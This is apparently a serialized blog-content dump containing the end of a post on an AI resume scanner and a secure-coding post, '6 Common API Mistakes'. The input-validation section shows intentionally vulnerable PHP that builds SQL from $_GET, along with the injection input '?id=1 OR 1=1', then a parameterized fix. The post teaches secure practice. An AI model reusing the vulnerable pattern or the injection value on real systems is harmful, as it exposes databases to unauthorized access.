provide instantaneous feedback. When an analysis starts, the user sees real-time progress indicators:",[198,8333,8334,8337,8340],{},[201,8335,8336],{},"Keyword extraction radar chart",[201,8338,8339],{},"Ranked missing skills list",[201,8341,8342],{},"Live score gauge animated with SVG circle dashes",[12,8344,8345,8346,8349],{},"Users on the Free tier receive 3 complimentary analyses, authenticated via ",[49,8347,8348],{},"Supabase Auth"," with Row-Level Security (RLS) policies preventing quota tampering on the PostgreSQL level.",[61,8351],{},[64,8353,8355],{"id":8354},"key-takeaways","Key Takeaways",[2488,8357,8358,8364,8370],{},[201,8359,8360,8363],{},[49,8361,8362],{},"Never rely on raw LLM output for critical UI rendering",": Always place a schema validator like Zod between the model and your client.",[201,8365,8366,8369],{},[49,8367,8368],{},"Combine AI with deterministic heuristics",": An LLM is great at semantic understanding, but deterministic regex checks are faster and cheaper for checking email presence or phone formatting.",[201,8371,8372,8375],{},[49,8373,8374],{},"Optimistic UI with clear error boundaries",": Resume parsing can fail on scanned image PDFs. Provide clear feedback prompting the user to upload a text-based document.",[274,8377,8378],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":21,"searchDepth":35,"depth":35,"links":8380},[8381,8382,8383,8384,8385],{"id":7767,"depth":35,"text":7768},{"id":7796,"depth":35,"text":7797},{"id":8082,"depth":35,"text":8083},{"id":8320,"depth":35,"text":8321},{"id":8354,"depth":35,"text":8355},"2026-07-15","A deep dive into engineering Talenta: extracting text from complex PDFs, streaming structured AI evaluations with HuggingFace, and preventing rate limit bottlenecks.",{},"\u002Fblog\u002Fen\u002Fats-resume-scanner-ai",{"title":7737,"description":8387},"ats-resume-scanner-ai","blog\u002Fen\u002Fats-resume-scanner-ai",[1087,1802,1514,8394,8395],"huggingface","fullstack","kkSX6pM11yqC_TlxrKuJm9oHeseRnwok5QpsvC2Fvl4",{"id":8398,"title":8399,"author":7,"body":8400,"date":9188,"description":9189,"extension":290,"featured":291,"image":292,"meta":9190,"navigation":294,"path":9191,"readingTime":182,"seo":9192,"slug":292,"stem":9193,"tags":9194,"__hash__":9197},"blog\u002Fblog\u002Fen\u002Fapi-common-mistakes.md","6 Common API Mistakes (And How to Fix Them)",{"type":9,"value":8401,"toc":9179},[8402,8405,8407,8411,8420,8449,8467,8469,8473,8480,8557,8562,8674,8676,8680,8683,8741,8744,8746,8750,8753,8886,8893,8895,8899,8902,9071,9074,9076,9080,9083,9117,9124,9126,9130,9133,9176],[12,8403,8404],{},"Building an API feels straightforward until your first production incident. Most bugs aren't complex — they're the same six mistakes repeated across thousands of codebases. Here's what they are and how to stop making them.",[61,8406],{},[64,8408,8410],{"id":8409},"_1-using-the-wrong-http-method","1. Using the Wrong HTTP Method",[12,8412,8413,8414,8416,8417,8419],{},"The most visible mistake. Using ",[23,8415,6432],{}," to delete a resource, or ",[23,8418,6444],{}," for everything because \"it works.\"",[16,8421,8423],{"className":148,"code":8422,"language":150,"meta":21,"style":21},"# ❌ Deleting with GET — catastrophic if a browser prefetches this URL\nGET \u002Fapi\u002Fusers\u002F42\u002Fdelete\n\n# ✅ Correct\nDELETE \u002Fapi\u002Fusers\u002F42\n",[23,8424,8425,8430,8435,8439,8444],{"__ignoreMap":21},[26,8426,8427],{"class":28,"line":29},[26,8428,8429],{},"# ❌ Deleting with GET — catastrophic if a browser prefetches this URL\n",[26,8431,8432],{"class":28,"line":35},[26,8433,8434],{},"GET \u002Fapi\u002Fusers\u002F42\u002Fdelete\n",[26,8436,8437],{"class":28,"line":41},[26,8438,428],{"emptyLinePlaceholder":294},[26,8440,8441],{"class":28,"line":170},[26,8442,8443],{},"# ✅ Correct\n",[26,8445,8446],{"class":28,"line":176},[26,8447,8448],{},"DELETE \u002Fapi\u002Fusers\u002F42\n",[12,8450,8451,8452,8454,8455,8457,8458,1132,8460,8463,8464,8466],{},"HTTP methods carry semantic meaning that clients, proxies, and caches rely on. ",[23,8453,6432],{}," must be idempotent and safe (no side effects). ",[23,8456,6444],{}," creates. ",[23,8459,6435],{},[23,8461,8462],{},"PATCH"," update. ",[23,8465,6438],{}," removes. Violating these conventions breaks caching, browser history, and every HTTP client that follows the spec.",[61,8468],{},[64,8470,8472],{"id":8471},"_2-wrong-status-codes","2. Wrong Status Codes",[12,8474,8475,8476,8479],{},"Returning ",[23,8477,8478],{},"200 OK"," for an error response is the most common mistake in junior APIs.",[16,8481,8483],{"className":994,"code":8482,"language":996,"meta":21,"style":21},"\u002F\u002F ❌ Status 200, but it's an error\n{\n  \"success\": false,\n  \"error\": \"User not found\"\n}\n\n\u002F\u002F ✅ Status 404 — the client knows immediately without parsing the body\n{\n  \"error\": \"User not found\",\n  \"code\": \"USER_NOT_FOUND\"\n}\n",[23,8484,8485,8490,8494,8505,8515,8519,8523,8528,8532,8543,8553],{"__ignoreMap":21},[26,8486,8487],{"class":28,"line":29},[26,8488,8489],{"class":490},"\u002F\u002F ❌ Status 200, but it's an error\n",[26,8491,8492],{"class":28,"line":35},[26,8493,1003],{"class":379},[26,8495,8496,8499,8501,8503],{"class":28,"line":41},[26,8497,8498],{"class":436},"  \"success\"",[26,8500,1011],{"class":379},[26,8502,1326],{"class":436},[26,8504,547],{"class":379},[26,8506,8507,8510,8512],{"class":28,"line":170},[26,8508,8509],{"class":436},"  \"error\"",[26,8511,1011],{"class":379},[26,8513,8514],{"class":386},"\"User not found\"\n",[26,8516,8517],{"class":28,"line":176},[26,8518,1067],{"class":379},[26,8520,8521],{"class":28,"line":182},[26,8522,428],{"emptyLinePlaceholder":294},[26,8524,8525],{"class":28,"line":188},[26,8526,8527],{"class":490},"\u002F\u002F ✅ Status 404 — the client knows immediately without parsing the body\n",[26,8529,8530],{"class":28,"line":470},[26,8531,1003],{"class":379},[26,8533,8534,8536,8538,8541],{"class":28,"line":476},[26,8535,8509],{"class":436},[26,8537,1011],{"class":379},[26,8539,8540],{"class":386},"\"User not found\"",[26,8542,547],{"class":379},[26,8544,8545,8548,8550],{"class":28,"line":482},[26,8546,8547],{"class":436},"  \"code\"",[26,8549,1011],{"class":379},[26,8551,8552],{"class":386},"\"USER_NOT_FOUND\"\n",[26,8554,8555],{"class":28,"line":487},[26,8556,1067],{"class":379},[12,8558,8559],{},[49,8560,8561],{},"The codes that matter most:",[7168,8563,8564,8574],{},[7171,8565,8566],{},[7174,8567,8568,8571],{},[7177,8569,8570],{},"Code",[7177,8572,8573],{},"When to use it",[7193,8575,8576,8586,8596,8606,8615,8625,8635,8645,8655,8665],{},[7174,8577,8578,8583],{},[7198,8579,8580],{},[23,8581,8582],{},"200",[7198,8584,8585],{},"Success with a body",[7174,8587,8588,8593],{},[7198,8589,8590],{},[23,8591,8592],{},"201",[7198,8594,8595],{},"Resource created (POST)",[7174,8597,8598,8603],{},[7198,8599,8600],{},[23,8601,8602],{},"204",[7198,8604,8605],{},"Success, no body (DELETE)",[7174,8607,8608,8612],{},[7198,8609,8610],{},[23,8611,7954],{},[7198,8613,8614],{},"Invalid input from the client",[7174,8616,8617,8622],{},[7198,8618,8619],{},[23,8620,8621],{},"401",[7198,8623,8624],{},"Not authenticated",[7174,8626,8627,8632],{},[7198,8628,8629],{},[23,8630,8631],{},"403",[7198,8633,8634],{},"Authenticated but not authorized",[7174,8636,8637,8642],{},[7198,8638,8639],{},[23,8640,8641],{},"404",[7198,8643,8644],{},"Resource doesn't exist",[7174,8646,8647,8652],{},[7198,8648,8649],{},[23,8650,8651],{},"422",[7198,8653,8654],{},"Input syntactically valid but semantically wrong",[7174,8656,8657,8662],{},[7198,8658,8659],{},[23,8660,8661],{},"429",[7198,8663,8664],{},"Rate limit exceeded",[7174,8666,8667,8671],{},[7198,8668,8669],{},[23,8670,6818],{},[7198,8672,8673],{},"Server error (never the client's fault)",[61,8675],{},[64,8677,8679],{"id":8678},"_3-trusting-client-input","3. Trusting Client Input",[12,8681,8682],{},"Every value sent by a client is a potential attack vector.",[16,8684,8686],{"className":7353,"code":8685,"language":7355,"meta":21,"style":21},"\u002F\u002F ❌ Never do this\n$id = $_GET['id'];\n$query = \"SELECT * FROM users WHERE id = $id\";\n\u002F\u002F SQL injection: ?id=1 OR 1=1\n\n\u002F\u002F ✅ Always validate and sanitize\n$id = filter_var($_GET['id'], FILTER_VALIDATE_INT);\nif (!$id) {\n    return response()->json(['error' => 'Invalid ID'], 400);\n}\n$user = User::findOrFail($id); \u002F\u002F parameterized query\n",[23,8687,8688,8693,8698,8703,8708,8712,8717,8722,8727,8732,8736],{"__ignoreMap":21},[26,8689,8690],{"class":28,"line":29},[26,8691,8692],{},"\u002F\u002F ❌ Never do this\n",[26,8694,8695],{"class":28,"line":35},[26,8696,8697],{},"$id = $_GET['id'];\n",[26,8699,8700],{"class":28,"line":41},[26,8701,8702],{},"$query = \"SELECT * FROM users WHERE id = $id\";\n",[26,8704,8705],{"class":28,"line":170},[26,8706,8707],{},"\u002F\u002F SQL injection: ?id=1 OR 1=1\n",[26,8709,8710],{"class":28,"line":176},[26,8711,428],{"emptyLinePlaceholder":294},[26,8713,8714],{"class":28,"line":182},[26,8715,8716],{},"\u002F\u002F ✅ Always validate and sanitize\n",[26,8718,8719],{"class":28,"line":188},[26,8720,8721],{},"$id = filter_var($_GET['id'], FILTER_VALIDATE_INT);\n",[26,8723,8724],{"class":28,"line":470},[26,8725,8726],{},"if (!$id) {\n",[26,8728,8729],{"class":28,"line":476},[26,8730,8731],{},"    return response()->json(['error' => 'Invalid ID'], 400);\n",[26,8733,8734],{"class":28,"line":482},[26,8735,1067],{},[26,8737,8738],{"class":28,"line":487},[26,8739,8740],{},"$user = User::findOrFail($id); \u002F\u002F parameterized query\n",[12,8742,8743],{},"Validate: type, format, length, range. Sanitize before any database or filesystem operation. Never trust what arrives in the request body, headers, or query string.",[61,8745],{},[64,8747,8749],{"id":8748},"_4-leaking-sensitive-data","4. Leaking Sensitive Data",[12,8751,8752],{},"Returning the full database object without filtering is an invitation to a data breach.",[16,8754,8756],{"className":994,"code":8755,"language":996,"meta":21,"style":21},"\u002F\u002F ❌ Returning the raw User model\n{\n  \"id\": 42,\n  \"email\": \"user@example.com\",\n  \"password\": \"$2b$12$...\",\n  \"stripe_customer_id\": \"cus_xxx\",\n  \"internal_notes\": \"flagged for review\",\n  \"created_at\": \"2024-01-01\"\n}\n\n\u002F\u002F ✅ Return only what the client actually needs\n{\n  \"id\": 42,\n  \"email\": \"user@example.com\",\n  \"created_at\": \"2024-01-01\"\n}\n",[23,8757,8758,8763,8767,8779,8791,8803,8815,8827,8837,8841,8845,8850,8854,8864,8874,8882],{"__ignoreMap":21},[26,8759,8760],{"class":28,"line":29},[26,8761,8762],{"class":490},"\u002F\u002F ❌ Returning the raw User model\n",[26,8764,8765],{"class":28,"line":35},[26,8766,1003],{"class":379},[26,8768,8769,8772,8774,8777],{"class":28,"line":41},[26,8770,8771],{"class":436},"  \"id\"",[26,8773,1011],{"class":379},[26,8775,8776],{"class":436},"42",[26,8778,547],{"class":379},[26,8780,8781,8784,8786,8789],{"class":28,"line":170},[26,8782,8783],{"class":436},"  \"email\"",[26,8785,1011],{"class":379},[26,8787,8788],{"class":386},"\"user@example.com\"",[26,8790,547],{"class":379},[26,8792,8793,8796,8798,8801],{"class":28,"line":176},[26,8794,8795],{"class":436},"  \"password\"",[26,8797,1011],{"class":379},[26,8799,8800],{"class":386},"\"$2b$12$...\"",[26,8802,547],{"class":379},[26,8804,8805,8808,8810,8813],{"class":28,"line":182},[26,8806,8807],{"class":436},"  \"stripe_customer_id\"",[26,8809,1011],{"class":379},[26,8811,8812],{"class":386},"\"cus_xxx\"",[26,8814,547],{"class":379},[26,8816,8817,8820,8822,8825],{"class":28,"line":188},[26,8818,8819],{"class":436},"  \"internal_notes\"",[26,8821,1011],{"class":379},[26,8823,8824],{"class":386},"\"flagged for review\"",[26,8826,547],{"class":379},[26,8828,8829,8832,8834],{"class":28,"line":470},[26,8830,8831],{"class":436},"  \"created_at\"",[26,8833,1011],{"class":379},[26,8835,8836],{"class":386},"\"2024-01-01\"\n",[26,8838,8839],{"class":28,"line":476},[26,8840,1067],{"class":379},[26,8842,8843],{"class":28,"line":482},[26,8844,428],{"emptyLinePlaceholder":294},[26,8846,8847],{"class":28,"line":487},[26,8848,8849],{"class":490},"\u002F\u002F ✅ Return only what the client actually needs\n",[26,8851,8852],{"class":28,"line":494},[26,8853,1003],{"class":379},[26,8855,8856,8858,8860,8862],{"class":28,"line":518},[26,8857,8771],{"class":436},[26,8859,1011],{"class":379},[26,8861,8776],{"class":436},[26,8863,547],{"class":379},[26,8865,8866,8868,8870,8872],{"class":28,"line":526},[26,8867,8783],{"class":436},[26,8869,1011],{"class":379},[26,8871,8788],{"class":386},[26,8873,547],{"class":379},[26,8875,8876,8878,8880],{"class":28,"line":532},[26,8877,8831],{"class":436},[26,8879,1011],{"class":379},[26,8881,8836],{"class":386},[26,8883,8884],{"class":28,"line":538},[26,8885,1067],{"class":379},[12,8887,8888,8889,8892],{},"Use serializers, DTOs, or API Resources (Laravel) to explicitly define what gets exposed. The rule: ",[49,8890,8891],{},"opt-in, not opt-out."," Start with nothing, add what's needed.",[61,8894],{},[64,8896,8898],{"id":8897},"_5-inconsistent-error-format","5. Inconsistent Error Format",[12,8900,8901],{},"When every endpoint returns errors differently, every client has to handle every format.",[16,8903,8905],{"className":994,"code":8904,"language":996,"meta":21,"style":21},"\u002F\u002F ❌ Endpoint A\n{ \"message\": \"Not found\" }\n\n\u002F\u002F ❌ Endpoint B\n{ \"error\": true, \"msg\": \"Validation failed\", \"fields\": [\"email\"] }\n\n\u002F\u002F ❌ Endpoint C\n\"Internal server error\"\n\n\u002F\u002F ✅ One format, everywhere\n{\n  \"error\": {\n    \"code\": \"VALIDATION_FAILED\",\n    \"message\": \"The request contains invalid fields.\",\n    \"details\": [\n      { \"field\": \"email\", \"issue\": \"Invalid email format\" }\n    ]\n  }\n}\n",[23,8906,8907,8912,8927,8931,8936,8970,8974,8979,8984,8988,8993,8997,9003,9015,9027,9035,9059,9063,9067],{"__ignoreMap":21},[26,8908,8909],{"class":28,"line":29},[26,8910,8911],{"class":490},"\u002F\u002F ❌ Endpoint A\n",[26,8913,8914,8917,8920,8922,8925],{"class":28,"line":35},[26,8915,8916],{"class":379},"{ ",[26,8918,8919],{"class":436},"\"message\"",[26,8921,1011],{"class":379},[26,8923,8924],{"class":386},"\"Not found\"",[26,8926,615],{"class":379},[26,8928,8929],{"class":28,"line":41},[26,8930,428],{"emptyLinePlaceholder":294},[26,8932,8933],{"class":28,"line":170},[26,8934,8935],{"class":490},"\u002F\u002F ❌ Endpoint B\n",[26,8937,8938,8940,8943,8945,8947,8949,8952,8954,8957,8959,8962,8964,8967],{"class":28,"line":176},[26,8939,8916],{"class":379},[26,8941,8942],{"class":436},"\"error\"",[26,8944,1011],{"class":379},[26,8946,1296],{"class":436},[26,8948,129],{"class":379},[26,8950,8951],{"class":436},"\"msg\"",[26,8953,1011],{"class":379},[26,8955,8956],{"class":386},"\"Validation failed\"",[26,8958,129],{"class":379},[26,8960,8961],{"class":436},"\"fields\"",[26,8963,1752],{"class":379},[26,8965,8966],{"class":386},"\"email\"",[26,8968,8969],{"class":379},"] }\n",[26,8971,8972],{"class":28,"line":182},[26,8973,428],{"emptyLinePlaceholder":294},[26,8975,8976],{"class":28,"line":188},[26,8977,8978],{"class":490},"\u002F\u002F ❌ Endpoint C\n",[26,8980,8981],{"class":28,"line":470},[26,8982,8983],{"class":386},"\"Internal server error\"\n",[26,8985,8986],{"class":28,"line":476},[26,8987,428],{"emptyLinePlaceholder":294},[26,8989,8990],{"class":28,"line":482},[26,8991,8992],{"class":490},"\u002F\u002F ✅ One format, everywhere\n",[26,8994,8995],{"class":28,"line":487},[26,8996,1003],{"class":379},[26,8998,8999,9001],{"class":28,"line":494},[26,9000,8509],{"class":436},[26,9002,1726],{"class":379},[26,9004,9005,9008,9010,9013],{"class":28,"line":518},[26,9006,9007],{"class":436},"    \"code\"",[26,9009,1011],{"class":379},[26,9011,9012],{"class":386},"\"VALIDATION_FAILED\"",[26,9014,547],{"class":379},[26,9016,9017,9020,9022,9025],{"class":28,"line":526},[26,9018,9019],{"class":436},"    \"message\"",[26,9021,1011],{"class":379},[26,9023,9024],{"class":386},"\"The request contains invalid fields.\"",[26,9026,547],{"class":379},[26,9028,9029,9032],{"class":28,"line":532},[26,9030,9031],{"class":436},"    \"details\"",[26,9033,9034],{"class":379},": [\n",[26,9036,9037,9040,9043,9045,9047,9049,9052,9054,9057],{"class":28,"line":538},[26,9038,9039],{"class":379},"      { ",[26,9041,9042],{"class":436},"\"field\"",[26,9044,1011],{"class":379},[26,9046,8966],{"class":386},[26,9048,129],{"class":379},[26,9050,9051],{"class":436},"\"issue\"",[26,9053,1011],{"class":379},[26,9055,9056],{"class":386},"\"Invalid email format\"",[26,9058,615],{"class":379},[26,9060,9061],{"class":28,"line":550},[26,9062,651],{"class":379},[26,9064,9065],{"class":28,"line":561},[26,9066,657],{"class":379},[26,9068,9069],{"class":28,"line":567},[26,9070,1067],{"class":379},[12,9072,9073],{},"Define your error envelope once. Apply it everywhere via a global exception handler. Clients — including your own frontend — will thank you.",[61,9075],{},[64,9077,9079],{"id":9078},"_6-no-api-versioning","6. No API Versioning",[12,9081,9082],{},"Changing an endpoint response breaks every client using it. Without versioning, you can never evolve the API.",[16,9084,9086],{"className":148,"code":9085,"language":150,"meta":21,"style":21},"# ❌ No version — any breaking change affects all clients immediately\nGET \u002Fapi\u002Fusers\n\n# ✅ Versioned — v1 stays stable, v2 introduces breaking changes safely\nGET \u002Fapi\u002Fv1\u002Fusers\nGET \u002Fapi\u002Fv2\u002Fusers\n",[23,9087,9088,9093,9098,9102,9107,9112],{"__ignoreMap":21},[26,9089,9090],{"class":28,"line":29},[26,9091,9092],{},"# ❌ No version — any breaking change affects all clients immediately\n",[26,9094,9095],{"class":28,"line":35},[26,9096,9097],{},"GET \u002Fapi\u002Fusers\n",[26,9099,9100],{"class":28,"line":41},[26,9101,428],{"emptyLinePlaceholder":294},[26,9103,9104],{"class":28,"line":170},[26,9105,9106],{},"# ✅ Versioned — v1 stays stable, v2 introduces breaking changes safely\n",[26,9108,9109],{"class":28,"line":176},[26,9110,9111],{},"GET \u002Fapi\u002Fv1\u002Fusers\n",[26,9113,9114],{"class":28,"line":182},[26,9115,9116],{},"GET \u002Fapi\u002Fv2\u002Fusers\n",[12,9118,9119,9120,9123],{},"Version from day one, even if you only have v1. The cost of adding ",[23,9121,9122],{},"\u002Fv1\u002F"," later — after clients are in production — is much higher than the cost of including it from the start.",[61,9125],{},[64,9127,9129],{"id":9128},"the-takeaway","The Takeaway",[12,9131,9132],{},"None of these mistakes require advanced knowledge to fix. They require discipline: a checklist before every endpoint ships.",[198,9134,9137,9146,9152,9158,9164,9170],{"className":9135},[9136],"contains-task-list",[201,9138,9141,9145],{"className":9139},[9140],"task-list-item",[9142,9143],"input",{"disabled":294,"type":9144},"checkbox"," HTTP method matches the operation's semantics",[201,9147,9149,9151],{"className":9148},[9140],[9142,9150],{"disabled":294,"type":9144}," Status code is accurate",[201,9153,9155,9157],{"className":9154},[9140],[9142,9156],{"disabled":294,"type":9144}," All input is validated before use",[201,9159,9161,9163],{"className":9160},[9140],[9142,9162],{"disabled":294,"type":9144}," Response only exposes necessary fields",[201,9165,9167,9169],{"className":9166},[9140],[9142,9168],{"disabled":294,"type":9144}," Errors follow the global format",[201,9171,9173,9175],{"className":9172},[9140],[9142,9174],{"disabled":294,"type":9144}," URL includes an API version",[274,9177,9178],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":21,"searchDepth":35,"depth":35,"links":9180},[9181,9182,9183,9184,9185,9186,9187],{"id":8409,"depth":35,"text":8410},{"id":8471,"depth":35,"text":8472},{"id":8678,"depth":35,"text":8679},{"id":8748,"depth":35,"text":8749},{"id":8897,"depth":35,"text":8898},{"id":9078,"depth":35,"text":9079},{"id":9128,"depth":35,"text":9129},"2026-06-04","From wrong HTTP methods to leaking sensitive data — the errors most developers make when building their first API, and the concrete fixes.",{},"\u002Fblog\u002Fen\u002Fapi-common-mistakes",{"title":8399,"description":9189},"blog\u002Fen\u002Fapi-common-mistakes",[3745,3747,9195,9196],"rest","best-practices","z2NMprz3c9WpXKotgDMzEF9WM_LLLolyFqidBZu4I6s",1792236097250]